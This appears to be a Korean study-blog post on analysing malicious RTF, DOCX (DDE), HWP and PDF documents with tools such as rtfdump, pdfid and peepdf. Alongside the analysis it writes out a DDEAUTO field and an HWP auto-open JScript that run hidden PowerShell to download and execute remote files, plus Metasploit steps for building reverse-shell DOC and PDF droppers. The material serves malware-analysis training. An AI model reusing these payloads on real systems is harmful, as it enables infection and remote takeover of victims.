wonder
정보보안 스터디 - 20주차 6일 - 문서형 악성파일 상세연구2 본문
☞ RTF 파일형식
워드패드로 되어있습니다.
워드패드는 워드 대용으로 옛날에 많이 사용했지만 요즘은 사용하지 않습니다.
메모장과의 차이점이 있다면 메모장은 절대적인 글자 속성이 없지만
워드패드는 색상, 폰드 등 저장할 수 있습니다.
또한 워드파일(doc)로도 저장이 가능합니다.
워드패드에서 ~ 하면
코드를 삽입할 수 있고
실행되는 것을 볼수 있습니다.
☞ OLE(object linking and embedding)
윈도우 응용 프로그램 간에 개체 연결 및 삽입 기능을 합니다.
예를 들어 문서에 도표/수식/그림 서식을 포함하는 기능입니다.
MS office 2007 이전 버전에서 사용하는 파일 포맷이며, OLE 파일 내부는 FAT 파일시스템과 비슷한 구조를 갖고 있습니다.
윈도우에서의 파일 시스템은
요즘은 FAT, NTFS를 사용하지 않고 GPT를 많이 사용하고 있습니다.
워드 상위버전과 호환이 가능하지만 기능적인 부분에서 제한이 있습니다.
OLE 구조는
헤더 | BBAP | ROOT | 사용자 데이터 로 이뤄집니다.
RTF-1.doc
doc 파일을 notepad++로 오픈해서 명령어 등 숨겨진 내용을 확인하기가 불가능합니다.
1) 그래서 rtfdump.py 를 이용합니다.
파일에 대한 구조 및 내용을 확인할 수 있습니다.
python rtfdump.py -f O RTF-1.doc
로 OLE 오브젝트 정보만 필터링해서 확인합니다.
사이즈와 경로 비슷하게 보입니다.
-s 10 -H RTF-1.doc
그 중에서 10번 내용만 확인합니다.
http://192.168.2.50/logo.doc 를 요청하는 것을 확인할 수 있습니다.
RTF-2.doc
1) rtfdump.py 도구를 이용한 분석을 합니다.
python rtfdump.py -f O RTF-2.doc
OLE 정보만 확인하고
3개가 뜨는데 각각 오픈해서 확인해봅니다.
python rtfdump.py -s 367 -H RTF-2.doc
367번에서 볼만한 내용들이 많이 뜹니다.
스크립트태그도 보이고, 경로도 보입니다.
python rtfdump.py -s 367 -H RTF-2.doc -E -d > RTF-2.html
RTF-2.html 로 덤프를 실시합니다.
html 파일은 notepad++로 볼 수 있기 때문에 자동 줄바꿈으로 확인합니다.
난독화된 스크립트 내용을 확인할 수도 있습니다.
이걸 브라우저에서 실행하면
스크립트가 실행됩니다. (확인을 위해 alert를 띄웠습니다.)
C:\Users\Administrator\AppData\Roaming\Microsoft\Word\STARTUP
디렉토리에 보면 wordHelpAss.wll 파일이 드롭되어있습니다.
그러니까 OLE로 삽입된 부분만 추출해서 실행한거기 때문에
RTF-2.doc파일을 실행해도 파일 드롭이 일어날 것입니다. 확인합니다.
2) 실행하자마자 생성된 wordHelpAss.wll를 본격적으로 분석해야합니다.
hybrid-analysis로 분석된 적이 있습니다.
PE파일의 형태이며 실행하면 calc.exe가 생성됩니다.
또한
이전 포스팅에서 이용한
기초/고급 정적, 동적 분석을 처음부터 실시합니다.
wordHelpAss.wll에 의해서 C:\Users\Administrator\AppData\Local\Temp 디렉토리에 calc.exe라는 파일이 드롭됨니다.
doc자체가 드롭퍼이면서 그 다운로드된 파일 또한 드롭퍼인 겁니다.
마찬가지로 기초/고급 분석해줍니다.
분석결과
전형적인 드롭퍼였습니다.
find / load / size of resource 3종세트가 있다면 의심을 해봐야하고
writefile이나 createfile, gettemppath, closehandle, shellexecute(파일 실행) 가 있는 것까지 확인하니 빈파일을 만들고 거기다가 바이트를 쓰는 드롭퍼라고 할 수 있습니다.
드롭퍼는 맞는데 이 파일이 자세하게 어떤 경로로 다운로드 하는지는 strings문자열을 통해서는 알기는 어렵고
IDA, ollydbg로 고급 분석을 해야합니다.
하지만 gettemppath를 보니 임의로 지정하지 않고 temp디렉토리로 옮겨진 것을 확인할 수 있습니다.
리소스로 나온 하위 다운로더(보통주소에서받아옴)/드롭퍼(파일자체에서받아옴) 들은 모두 나온 분석해야하는데 calc라는 파일은 윈도우 서비스 / 레지스트리 까지 모두 등록하는 기능을 하고 있습니다. 또한 드롭퍼 여서 분석이 어렵도록 엄청 꼬아놨다고 생각이 됩니다.
리소스해커로 나온 파일과 드롭된 파일이 같은 파일인지 확인하는 방법은 해시값이 같은지 보는 겁니다.
CVE 취약점 분석 > cciedump.rtf
rtf를 열었을 때
네트워크를 통해 파일을 다운로드하거나 실행하는 코드들은
wireshark로 캡쳐하면 내용 확인이 가능합니다.
wireshark 확인해보면
logo.txt >cmd.hta파일 다운로드 요청 후 실행합니다.
cmd.hta > 파워쉘로 shell.exe 실행시키고 윈도우창닫습니다.
shell.exe> PE파일이라 확인불가. = 이게 reverse_tcp 악성페이로드 입니다.
☞ DDE
엑셀파일을 워드에서도 쓸 수 있도록 변환가능한 기능입니다.
표, 그림 등 수정하면 바뀌는 파일에서도 수정됩니다.
이 기능을 이용해서 매크로가 아닌 다른 방식으로 접근(코드를 삽입)할 수 있게 됩니다.
DDE-1.docx 제작
워드 > 빠른문서요소 > 필드 >
!식의 끝이 잘못 되었다고 뜹니다.
이 때 우클릭 >필드 코드 토글 확인 시
{= 명령어 } 가 나옵니다.
{DDEAUTO c:\\windows\\system32\\cmd.exe "/k mspaint.exe"}
명령어는 cmd를 실행해서 그림판을 실행하겠다는 뜻입니다.
물론 백신 설치가 제대로되면 다 잡겠지만 실행하면 실행확인 누르고 그림판이 열립니다.
이 때 docx파일을 분석하는 방법은 zip 확장자로 변경하는겁니다.
참고로 docx는 워드파일이 압축된 것이라고 보시면 됩니다.
실제로도 시그니쳐를 확인해보면 PK(50 48 03 04)로 zip파일과 docx파일 형식이 같습니다.
실행파일이라면 PE파일(MZ), 그림파일, 등 파일별로 고유의 시그니처가 처음에 있습니다.
압축을 풀어보면 나눠진 내용 요소들이 나옵니다.
대부분 xml형식으로 되어 있고
document.xml 을 확인해보면 겉으로 보여지는 글 외에도 안에 숨겨진 코드 들이 보입니다.
실행하면서부터 악성코드가 실행되어 감염될 위험이 있기 때문에 이런 방식으로 분석하기도 합니다.
DDE-2.docx 제작
cmd명령어가 된다는 말은 파워쉘을 이용한 다운로더가 가능하다는 뜻이기도 합니다.
DDEAUTO c:\\windows\\system32\\cmd.exe "/k PowerShell (New-Object System.Net.WebClient).DownloadFile('https://wonder.tistory.com/attachment/cfile7.uf@99DC973E5D30314E278F D2.exe','c:/putty.exe');(New-Object -com Shell.Application).ShellExecute('c:/putty.exe');" |
마찬가지로 파일이 실행됨을 확인하고 분석까지합니다.
DDE-3.docx 분석
이렇게 쭉있는데
w:instrText 태그를 확인해보면
복잡해보이지만 병렬적으로 파워쉘을 이용한 다운로더인 것을 충분히 볼 수 있습니다.
또한 hidden옵션으로 콘솔창이 안보이게 숨겼습니다.
또 hybrid-analysis.com 에서 해당 워드파일을 분석합니다.
드롭퍼인데 리소스를 계속 나오도록합니다.
꼬아놓았다고 할 수 있습니다.
링크에서 받고 파워쉘로 다운로더 하고 거기서 드롭퍼를 2번거치는데
2번째 파워쉘은 base64 난독화되어 있고 rekakva32.exe라는 파일을 생성 및 실행합니다.
참고로 base64는 디코더가 한 곳빼고는 다 잘렸습니다.
https://www.useotools.com/ko/base64-decoder 만 평문으로 잘 나와서 코드를 확인할 수 있었습니다.
디코딩해서 추가 스크립트를 확인하면
url 3곳에서 파일을 불러와서
내용을 rekakva32.exe에 쓰는 것 같습니다.
추가적으로 msfconsole를 이용한 DDE파일 제작
office_dde_delivery에 reverse_tcp 페이로드를 사용합니다.
filename은 dde-4.doc입니다.
/root/.msf4/local/DDE-4.doc 디렉토리에 dde-4.doc로 만듦과 동시에 exploit리슨상태가 됩니다.
doc만 되고 docx를 만들지는 못하는 것 같습니다.
피해자 시스템에서 실행해보면 잘 reverse_tcp가 연결됩니다.
자세히 분석하려면 hxd에서 확인합니다.
☞ hwp 분석
HWP-1.hwp
hwp에서 보면
통일부를 위조하고 있고
붙임 링크를 클릭하면
각각 다른 프로그램을 실행하려고 하고 있습니다.
실행하면 C:\Users\Administrator\AppData\Local\Temp 경로에
클릭해보면 겉으로는 같아보이지만 제목이 다른 hwp가 다운로드되면서 같이 calc.exe도 다운됩니다.
hwpscan을 사용하여 분석하는 방법이 있습니다.
옛날 버전이라 그런지 시스템 시간만 바꿔도 사용기간을 우회할 수 있습니다.
하지만 시간을 바꾸면 http 통신 즉 인터넷연결이 안되는 단점이 있습니다. 무조건 인터넷 시간으로 동기화한 후 들어가야합니다.
확인해보면 png 데이터를 볼 수 있고
ole를 가지고 있습니다. 파일에 대한 내용은 ole > hex(decompressed) 를 집중적으로 봅니다.
body text 부분은 본문 글이 나와있습니다.
취약점 검사를 해보면 어떤 부분이 악성코드인지 뜹니다.
확인해보니 Temp디렉토리에 파일을 드랍하고
MZ시그니처를 확인했습니다.
OLE를 bin파일로 추출하고 exe 확장자로 저장합니다.
그러면 바로 실행할 수 있으며 hwp문서가 오픈됩니다.
실제로 공격에 쓰인 악성코드이기 때문에
실제 사용중인 외부 주소로 소켓연결하여 DDOS를 보낸다거나, 웜바이러스에 감염된다면 자기 뿐만아니라 네트워크 망이 감염될지도 모릅니다.
그래서 함부로 실행 할 수 없었습니다.
HWP-2.hwp
이 한글파일은 DOS 시스템을 부하시키기 때문에 분석해봅니다.
분석결과 해당 섹션 decompressed를 보면 0c0d가 반복되는 부분이 부하를 발생시킵니다.
HWP-3.hwp
hwp tag에서 보니 Not EOF 즉 파일의 내용이 끝나지 않았음을 의미합니다.
원인은 EPS 파일이 삽입되었기 때문입니다.
EPS파일이 삽입된 한글문서는 OLE구조상 임시 파일 형태로 bindata에 생성됩니다.
☞ EPS
어도비에서 만든 파일형식으로 postscript(.ps)를 이용해 그래픽이미지를 표현합니다.
한글문서에서 고화질 백터이미지를 출력하기 위해서 사용합니다.
악용되는 방식은 눈에 보이지 않을 정도로 작은 사진을 삽입하거나 연관된 사진으로 삽입하여 동작을 실시합니다.
Bin~.ps 에서 postscript를 확인할 수 있습니다.
이 부분도 bin파일로 저장해서 보기좋게 notepad++ 로 읽어봅니다.
이 esp가 포함된 문서를 실행해보면
역시 보이지 않게 자동으로 프로세스가 실행되고 종료됩니다. (exp확인)
이런 경우는 보통 화면 녹화를 해놓고 많이 분석합니다.
HWP-4.hwp
도구 > 스크립트매크로 > 코드편집에서 코드를 넣습니다.
보안설정은 낮음으로 설정해야합니다.
function OnDocument_New() { //todo : } function OnDocument_Open() { try{ wsh=new ActiveXObject('WScript.Shell'); var f1="PowerShell -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://.tistory.com/attachment/cfile7.uf@99DC973E5D30314E278F D2.exe','c:/ccnadump.exe');(New-Object -com Shell.Application).ShellExecute('c:/ccnadump.exe');"; wsh.Run(f1); };catch(err){}; } |
플레이 버튼을 눌러서 미리 실행해도 되고 hwp를 저장해서 확인하면 스크립트가 경고 후 실행됩니다.
hwpscan 취약점 검사해보면 defaultJScript 부분이 문제라고 뜨고
hex를 저장 후 notepad++에서 보면 아까 삽입한 코드 그대로 나와잇습니다.
파워쉘부분입니다.
☞ pdf 분석
msfconsole -q 에서
exploit/windows/fileformat/adobe_pdf_embedded_exe 에서
reverse_tcp 페이로드를 선택
set filename ccnadump.pdf까지 한 후
>> pdf가 /root/~/local/ccnadump.pdf에 생성됩니다.
멀티핸들러 후
페이로드 선택 후 대기합니다.
실행해보면
드롭퍼개념으로 template.pdf 를 저장할거냐고 묻습니다.
바로 rever_tcp 연결이 되고 sysinfo 등 사용이 가능합니다.
ccnadump.pdf 분석
(윈도우cmd) pdfid.py ccnadump.pdf
pdf 구조에 대해서 나옵니다.
JS, javascript, aa, openaction, launch 영역의 카운트가 1이상인 경우에는 악의적인 동작을 실시할 가능성이 높습니다.
pdftk ccnadump.pdf output ccnadump_dec.pdf uncompress
pdf도 하나의 압축이라고 할 수 있기 때문에 pdftk를 이용해서 압축을 해지합니다.
peepdf.py -i ccnadump_dec.pdf
peepdf로 각각 항목이 object 몇번에 정의 되어있는 지 확인합니다.
openaction을 기준으로 object 1번을 확인해봅니다.
확인해보니 3번과 연계되어있기 때문에 확인합니다.
script가 /javascript로 구성되기 때문에
6번을 오픈합니다.
template.pdf를 실행하는 명령어를 알 수 있습니다.
...
연계 연계 되어 다 오픈해보면
10번에서 template.pdf의 파일 내용(reverse_tcp연결)이 나옵니다.!
사실 PDFStreamDumer가 object번호도 다 나오고 확인하기가 더 편합니다.
object 10번을 exe파일로 추출하여 실행해보면
reverse_tcp연결이 됩니다.
결국엔 pdf, word, hwp 에서 오픈하자마자 실행되는 악성파일들이 있고
간단하게 스크립트 실행할지만 묻고 넘어가기 때문에 실행할 여지가 다분합니다.
참고로 pdf는 오래전부터 사용하던 방식이고, 2017년부터 요즘까지는 문서형으로 대부분 사용하고 있습니다.
사실 악성코드라는 게
최초 유포되거나 인기있는 코드를 갖다가 분석해서
다운로드되는 주소를 본인 서버의 파일로 바꿔놓는 식입니다.
따라서 만들기가 어려운 것은 아닙니다.
'Security > 리버싱' 카테고리의 다른 글
정보보안 스터디 - 21주차 1일 - 악성코드 난독화 (0) | 2023.03.04 |
---|---|
정보보안 스터디 - 21주차 2일 - 백도어 분석 (2) | 2023.03.03 |
정보보안 스터디 - 20주차 5일 - 문서형 악성파일, 난독화 방법 (2) | 2023.02.28 |
정보보안 스터디 - 20주차 2일 - 악성파일 분석 상세연구3 (1) | 2023.02.24 |
정보보안 스터디 - 19주차 7일 - 모르는 악성 파일 분석 (1) | 2023.02.22 |